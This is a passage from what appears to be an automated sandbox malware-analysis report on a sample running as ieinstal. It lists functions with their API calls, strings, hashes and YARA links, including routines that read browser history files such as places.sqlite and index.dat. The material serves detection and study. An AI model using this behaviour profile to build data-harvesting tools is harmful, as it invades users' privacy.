                                                                                                                            • Instruction Fuzzy Hash: 04314171A00209ABEB10DFA6CDC1BAEB7B9FF88314F11055AE515A3241D778ED048B69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00430737 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            • too many columns on %s, xrefs: 00430763
                                                                                                                            • duplicate column name: %s, xrefs: 004307FE
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: duplicate column name: %s$too many columns on %s
                                                                                                                            • API String ID: 0-1445880494
                                                                                                                            • Opcode ID: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                                                            • Instruction ID: 332525b9e829d337f3b342900587a6bcab00951879d739311f42b30c77ca79e1
                                                                                                                            • Opcode Fuzzy Hash: d71f1f637ec18e5f8a62c501b2db333135d8de05f3daff8c641ff98159ef3fea
                                                                                                                            • Instruction Fuzzy Hash: 5E314735500705AFCB109F55C891ABEB7B5EF88318F24815BE8969B342C738F841CB99
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040E4B2 Relevance: 4.6, APIs: 3, Instructions: 87fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040E01E: OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                                                              • Part of subcall function 0040E01E: GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                                                              • Part of subcall function 0040E01E: DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                                                              • Part of subcall function 0040E01E: GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                                                              • Part of subcall function 0040E01E: CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                                                              • Part of subcall function 0040E01E: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                                                              • Part of subcall function 0040E01E: WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                                                              • Part of subcall function 0040E01E: UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                                                              • Part of subcall function 0040E01E: FindCloseChangeNotification.KERNELBASE(?), ref: 0040E13E
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(000000FF,000000FF,00000000,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E582
                                                                                                                              • Part of subcall function 0040E2AB: memset.MSVCRT ref: 0040E380
                                                                                                                              • Part of subcall function 0040E2AB: wcschr.MSVCRT ref: 0040E3B8
                                                                                                                              • Part of subcall function 0040E2AB: memcpy.MSVCRT ref: 0040E3EC
                                                                                                                            • DeleteFileW.KERNELBASE(?,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5A3
                                                                                                                            • CloseHandle.KERNEL32(000000FF,?,0040E6A3,000000FF,?,00000104,00000000), ref: 0040E5CA
                                                                                                                              • Part of subcall function 0040E175: memset.MSVCRT ref: 0040E1BD
                                                                                                                              • Part of subcall function 0040E175: _snwprintf.MSVCRT ref: 0040E257
                                                                                                                              • Part of subcall function 0040E175: ??3@YAXPAX@Z.MSVCRT ref: 0040E28B
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$Close$ChangeFindHandleNotificationProcessViewmemset$??3@CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintfmemcpywcschr
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1042154641-0
                                                                                                                            • Opcode ID: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                            • Instruction ID: 90d235a97b45fa8760f9e747b2c38a4e83ddeae1161d8ec943a7631d31c9d9e7
                                                                                                                            • Opcode Fuzzy Hash: 8c4b04af935ef543e183fc2d5fdeec50da417ae7152dfd79b37e36c3b45d6897
                                                                                                                            • Instruction Fuzzy Hash: DA312CB1C00618ABCF60DF96CD456CEF7B8AF44318F1006AB9518B31A1DB755E95CF58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403A16 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C09
                                                                                                                              • Part of subcall function 00403BED: memset.MSVCRT ref: 00403C1E
                                                                                                                              • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C47
                                                                                                                              • Part of subcall function 00403BED: wcscat.MSVCRT ref: 00403C70
                                                                                                                            • memset.MSVCRT ref: 00403A55
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                                                                                                                              • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                                                                                                                              • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                                                                                                                              • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                                                                                                                              • Part of subcall function 00409B98: GetFileAttributesW.KERNELBASE(?,00445E12,?,?,?,00000104), ref: 00409B9C
                                                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                                                                                                                              • Part of subcall function 0040A8D0: ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                                                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT ref: 0040A94F
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memsetwcscatwcslen$??3@$AttributesFilememcpywcscpy
                                                                                                                            • String ID: history.dat$places.sqlite
                                                                                                                            • API String ID: 3093078384-467022611
                                                                                                                            • Opcode ID: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                            • Instruction ID: 4d52d99a2018a06e8b3479be55870673e402391ac5db5fe9af26a684ed702786
                                                                                                                            • Opcode Fuzzy Hash: ff38290cf6d73649d3c52fc0ad95bc2cdf601f157f84f60878f9098853983ee3
                                                                                                                            • Instruction Fuzzy Hash: CA112EB2A0111866DB10FA66CD4AACE77BCAF54354F1001B7B915B20C2EB3CAF45CA69
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B2F5 Relevance: 4.6, APIs: 3, Instructions: 66COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040B1D1: wcslen.MSVCRT ref: 0040B1DE
                                                                                                                              • Part of subcall function 0040B1D1: ??3@YAXPAX@Z.MSVCRT ref: 0040B201
                                                                                                                              • Part of subcall function 0040B1D1: ??3@YAXPAX@Z.MSVCRT ref: 0040B224
                                                                                                                              • Part of subcall function 0040B1D1: memcpy.MSVCRT ref: 0040B248
                                                                                                                            • memset.MSVCRT ref: 0040B32F
                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,0040B432,000000FF,?,00000FFF,00000000,00000000,0040B432,00000000,-00000002,0040B626,00000000), ref: 0040B348
                                                                                                                              • Part of subcall function 0040B0D1: strlen.MSVCRT ref: 0040B0D8
                                                                                                                              • Part of subcall function 0040B0D1: ??3@YAXPAX@Z.MSVCRT ref: 0040B0FB
                                                                                                                              • Part of subcall function 0040B0D1: ??3@YAXPAX@Z.MSVCRT ref: 0040B12C
                                                                                                                              • Part of subcall function 0040B0D1: memcpy.MSVCRT ref: 0040B159
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040B36F
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@$memcpy$ByteCharMultiWidememsetstrlenwcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1562205978-0
                                                                                                                            • Opcode ID: 134a2a20f227110521b821ab2c1100a9462315ed21c6d5f86104d5526ebf48b7
                                                                                                                            • Instruction ID: b857a4007f161fa5246434627f102fbdc01d58e76d807d6b79cc7eff8a49146b
                                                                                                                            • Opcode Fuzzy Hash: 134a2a20f227110521b821ab2c1100a9462315ed21c6d5f86104d5526ebf48b7
                                                                                                                            • Instruction Fuzzy Hash: 18212771900218BFDB009B98EC44C9A37ACEB46329F10823BFC45A7292D7B8DD549B5D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004175ED Relevance: 4.5, APIs: 3, Instructions: 49fileCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00417570: SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                              • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A2
                                                                                                                              • Part of subcall function 00417570: GetLastError.KERNEL32 ref: 004175A8
                                                                                                                            • ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0041761D
                                                                                                                            • GetLastError.KERNEL32 ref: 00417627
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ErrorLast$File$PointerRead
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 839530781-0
                                                                                                                            • Opcode ID: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                            • Instruction ID: c9208e3d43fc8ff2949f7201360c8f82def2114e122364bdeb0a9035ecfb973e
                                                                                                                            • Opcode Fuzzy Hash: 35ac1a26cfbf5729ffddcbfd3a0d39ca45c1cff254cac5b3720273d0b32ffa80
                                                                                                                            • Instruction Fuzzy Hash: D001A236208204BBEB008F69DC45BDA3B78FB153B4F100427F908C6640E275D89096EA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040B3C1 Relevance: 4.5, APIs: 3, Instructions: 47COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2221118986-0
                                                                                                                            • Opcode ID: aa4d0402c51c5d0a187992cb920f5d60b2687b534395d06311f142e6e57fc3d2
                                                                                                                            • Instruction ID: ab827e58211017b50a374ecff23b92c7d33c5c2594aefa3e9ea54b4f7b6580b8
                                                                                                                            • Opcode Fuzzy Hash: aa4d0402c51c5d0a187992cb920f5d60b2687b534395d06311f142e6e57fc3d2
                                                                                                                            • Instruction Fuzzy Hash: 6A0167B3904308AAFB24D791DD8AB9A73ACDB14714F5100BBA704E21C3EBBC9B45865D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040C1D3 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 45COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: FileFindFirst
                                                                                                                            • String ID: *.*$index.dat
                                                                                                                            • API String ID: 1974802433-2863569691
                                                                                                                            • Opcode ID: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                            • Instruction ID: 5c3219b8572ff4376619b1de75d6d1d1b7443a793578eadcc31bed7d77429009
                                                                                                                            • Opcode Fuzzy Hash: da4ae6558bc3f7d8c9357f2fa5faf2f590160579c2a5e59c58801196d12f8aed
                                                                                                                            • Instruction Fuzzy Hash: 0E01257180125895EB20E761DC467DF766C9F04314F5002FB9818F21D6E7389F958F9A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004099F4 Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??3@mallocmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3831604043-0
                                                                                                                            • Opcode ID: a85243c3274abcf257bc8a1d0c36c9fb31ec9b9764bc30e3ac6d524e65cdc455
                                                                                                                            • Instruction ID: 1240433d41d023da9ba75aa62d017d874606d7cfbee4c78203c9aa8101697722
                                                                                                                            • Opcode Fuzzy Hash: a85243c3274abcf257bc8a1d0c36c9fb31ec9b9764bc30e3ac6d524e65cdc455
                                                                                                                            • Instruction Fuzzy Hash: 88F0E9727092219FC708AE75A98180BB79DAF55314B12482FF404E3282D7389C50CB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00417570 Relevance: 4.5, APIs: 3, Instructions: 30COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 00417591
                                                                                                                            • GetLastError.KERNEL32 ref: 004175A2
                                                                                                                            • GetLastError.KERNEL32 ref: 004175A8
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ErrorLast$FilePointer
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1156039329-0
                                                                                                                            • Opcode ID: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                            • Instruction ID: d6bca62a971eeae6b8c8b5ba9af71e52dcee60bc35e592f51b1cb5e4efccb3e3
                                                                                                                            • Opcode Fuzzy Hash: cc1ef3dda130daf7e478d1b1942235eaeedb2679cbd5ead2c00b98c40fc327c6
                                                                                                                            • Instruction Fuzzy Hash: 03F03071918115FBCB009B75DC009AA7ABAFB05360B104726E822D7690E730E9409AA8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040A02C Relevance: 4.5, APIs: 3, Instructions: 26filetimeCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,02000000,00000000,00000000,00000000,004039CA,00000000,?,00000000,?,00000000), ref: 0040A044
                                                                                                                            • GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 0040A058
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,004455D5), ref: 0040A061
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$ChangeCloseCreateFindNotificationTime
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1631957507-0
                                                                                                                            • Opcode ID: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                            • Instruction ID: 1a7e7c0172e67e076cb3c0c47f72e507911c66c01d2121fa3096849e88919459
                                                                                                                            • Opcode Fuzzy Hash: 6d8e9772f553e0f6d6fb1ff05c82d92c5ca35a40b5ea430072252ef77abff331
                                                                                                                            • Instruction Fuzzy Hash: 23E04F3624036077E2311B2BAC0CF4B2E69FBCBB21F150639F565B21E086704915C665
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00409A45 Relevance: 4.5, APIs: 3, Instructions: 26COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                                                            • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                                                            • GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Temp$DirectoryFileNamePathWindows
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1125800050-0
                                                                                                                            • Opcode ID: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                            • Instruction ID: b144c37017a21c6b5a3d1d2b3cfc872714830df517851edcd0bc871ed666fd71
                                                                                                                            • Opcode Fuzzy Hash: 18925d4506bf85468b003a70c2eb1ed6509d95f01bdd5ff44bce1f80956a42fa
                                                                                                                            • Instruction Fuzzy Hash: ACE0927A500218A7DB109B61DC4DFC777BCFB45304F0001B1B945E2161EB349A848BA8
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00415320 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 35COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            • failed memory resize %u to %u bytes, xrefs: 00415358
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: realloc
                                                                                                                            • String ID: failed memory resize %u to %u bytes
                                                                                                                            • API String ID: 471065373-2134078882
                                                                                                                            • Opcode ID: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                                                            • Instruction ID: af22f86c8d97814ed0bf188a45fefa7fc909daabc8cee38fca791e75313f3e85
                                                                                                                            • Opcode Fuzzy Hash: e5ae129d454b891eada76ccbfa458d0a6592737a0e8831e28bd7d44ced5f0510
                                                                                                                            • Instruction Fuzzy Hash: 49F027B3A01605A7D2109A55DC418CBF3DCDFC4655B06082FF998D3201E168E88083B6
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00437371 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 243COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: d
                                                                                                                            • API String ID: 0-2564639436
                                                                                                                            • Opcode ID: 8b82e4f5ef2bc7d58288eb7d352e73fde76eaac7bad66d9443978647085fe40b
                                                                                                                            • Instruction ID: 98c7df9677761670a5e344a1c7628a8b006f0a2246df1cf6f5c5c4488f8f87fd
                                                                                                                            • Opcode Fuzzy Hash: 8b82e4f5ef2bc7d58288eb7d352e73fde76eaac7bad66d9443978647085fe40b
                                                                                                                            • Instruction Fuzzy Hash: 4591ABB0508302AFDB20DF19D88196FBBE4BF88358F50192FF88497251D778D985CB9A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041EED2 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 174COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset
                                                                                                                            • String ID: BINARY
                                                                                                                            • API String ID: 2221118986-907554435
                                                                                                                            • Opcode ID: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                            • Instruction ID: 089a0534c11c2c8a1092ab46fa13594887108ded84822111f9e073e703b485f9
                                                                                                                            • Opcode Fuzzy Hash: 791c3fd1504af4fac70d2b15fe323b793bb873d26b5eb9345bfe372344e0595c
                                                                                                                            • Instruction Fuzzy Hash: 41518B71A047059FDB21CF69C881BEA7BE4EF48350F14446AF849CB342E738D995CBA9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004104FB Relevance: 3.1, APIs: 2, Instructions: 140COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040ECD8: ??2@YAPAXI@Z.MSVCRT ref: 0040ECF9
                                                                                                                              • Part of subcall function 0040ECD8: ??3@YAXPAX@Z.MSVCRT ref: 0040EDC0
                                                                                                                            • GetStdHandle.KERNEL32(000000F5), ref: 00410530
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(?), ref: 00410654
                                                                                                                              • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                                                                                                                              • Part of subcall function 0040973C: GetLastError.KERNEL32 ref: 00409750
                                                                                                                              • Part of subcall function 0040973C: _snwprintf.MSVCRT ref: 0040977D
                                                                                                                              • Part of subcall function 0040973C: MessageBoxW.USER32(?,?,Error,00000030), ref: 00409796
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@??3@ChangeCloseCreateErrorFileFindHandleLastMessageNotification_snwprintf
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 1161345128-0
                                                                                                                            • Opcode ID: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                            • Instruction ID: c777e68e994987bb064ab7fb99de871126f79ef1b866bcb434911d427814d160
                                                                                                                            • Opcode Fuzzy Hash: 331637186d7fda146188de6d28ea3842bad20729486783243114fed48956b45e
                                                                                                                            • Instruction Fuzzy Hash: BE417231A00204EFCB25AF65C885A9E77B6EF84711F20446FF446A7291C7B99EC0DE59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0041268E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 72COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp
                                                                                                                            • String ID: /stext
                                                                                                                            • API String ID: 2081463915-3817206916
                                                                                                                            • Opcode ID: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                            • Instruction ID: 10e6e7fbaeb1b3fbdbf907bfc38f809d5841ace5bac79d7196eddb000c1bc607
                                                                                                                            • Opcode Fuzzy Hash: e32263b5b8ee2531379a68aaf94d61f4c2e86babe20e9cb478eb73a56fae033c
                                                                                                                            • Instruction Fuzzy Hash: 19218E30B00605AFD704EF6ACAC1AD9F7A9FF44304F10416AA419D7342DB79ADA18B95
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040CC26 Relevance: 3.1, APIs: 2, Instructions: 53COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                                                            • GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                              • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                                                              • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB63
                                                                                                                              • Part of subcall function 0040AB4A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,?,00401D51,00000000,00000001,00000000), ref: 0040AB88
                                                                                                                            • FindCloseChangeNotification.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                                                              • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: File$ByteCharMultiWide$??2@??3@ChangeCloseCreateFindNotificationReadSize
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 159017214-0
                                                                                                                            • Opcode ID: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                                                                                                                            • Instruction ID: dc8783d9a6c7baf78a377756874cfbd60b78407a6d3acdf6d1052ad5173bbb79
                                                                                                                            • Opcode Fuzzy Hash: 5551154f09d9ac0fe1cac7a20b9391cb02a4855cbb9d966ae120c46d578013b8
                                                                                                                            • Instruction Fuzzy Hash: 91118275804208AFDB10AF6ADC45C8A7F75FF01364711C27AF525A72A1D6349A18CBA5
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00404423 Relevance: 3.1, APIs: 2, Instructions: 51libraryloaderCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104), ref: 0040A841
                                                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000,?,?,?,?,?,?,?), ref: 0040A87B
                                                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?), ref: 0040A884
                                                                                                                            • GetProcAddress.KERNEL32(?,00000000), ref: 00404453
